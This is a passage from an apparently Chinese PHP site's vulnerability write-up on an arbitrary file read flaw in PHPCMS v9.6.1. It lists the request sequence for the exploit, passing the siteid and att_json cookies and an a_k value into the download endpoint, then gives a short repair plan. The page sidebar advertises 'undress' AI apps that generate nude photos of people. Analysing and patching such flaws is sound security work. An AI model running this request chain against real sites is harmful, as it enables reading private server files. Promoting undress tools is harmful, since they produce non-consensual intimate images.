$this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap['status']!=1) exit(L('wap_close_status'));     }</pre><div class="contentsignin">Copy after login</div></div> <p>没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。</p> <h2 id="EXP编写">3.EXP编写</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。</p></li> <li> <p>访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.</pre><div class="contentsignin">Copy after login</div></div> </li> </ol> <p>响应成功之后,获取名称为att_json的cookie</p> <ol><li><p>访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2 id="Repair-plan">4. Repair plan</h2> <p>Do not use the default key for $a_k in the init method to encrypt and decrypt sys_auth. </p> <p>Filter $fileurl again before file_down. </p>

The above is the detailed content of Explain the mining and analysis process of arbitrary file reading vulnerabilities in PHPCMSv9.6.1. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Roblox: Bubble Gum Simulator Infinity - How To Get And Use Royal Keys
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Mandragora: Whispers Of The Witch Tree - How To Unlock The Grappling Hook
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Nordhold: Fusion System, Explained
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1667
14
PHP Tutorial
1273
29
C# Tutorial
1255
24
PHP: A Key Language for Web Development PHP: A Key Language for Web Development Apr 13, 2025 am 12:08 AM

PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

PHP and Python: Comparing Two Popular Programming Languages PHP and Python: Comparing Two Popular Programming Languages Apr 14, 2025 am 12:13 AM

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

PHP vs. Python: Understanding the Differences PHP vs. Python: Understanding the Differences Apr 11, 2025 am 12:15 AM

PHP and Python each have their own advantages, and the choice should be based on project requirements. 1.PHP is suitable for web development, with simple syntax and high execution efficiency. 2. Python is suitable for data science and machine learning, with concise syntax and rich libraries.

PHP in Action: Real-World Examples and Applications PHP in Action: Real-World Examples and Applications Apr 14, 2025 am 12:19 AM

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

The Enduring Relevance of PHP: Is It Still Alive? The Enduring Relevance of PHP: Is It Still Alive? Apr 14, 2025 am 12:12 AM

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

PHP vs. Other Languages: A Comparison PHP vs. Other Languages: A Comparison Apr 13, 2025 am 12:19 AM

PHP is suitable for web development, especially in rapid development and processing dynamic content, but is not good at data science and enterprise-level applications. Compared with Python, PHP has more advantages in web development, but is not as good as Python in the field of data science; compared with Java, PHP performs worse in enterprise-level applications, but is more flexible in web development; compared with JavaScript, PHP is more concise in back-end development, but is not as good as JavaScript in front-end development.

PHP and Python: Different Paradigms Explained PHP and Python: Different Paradigms Explained Apr 18, 2025 am 12:26 AM

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP and Python: Code Examples and Comparison PHP and Python: Code Examples and Comparison Apr 15, 2025 am 12:07 AM

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.

See all articles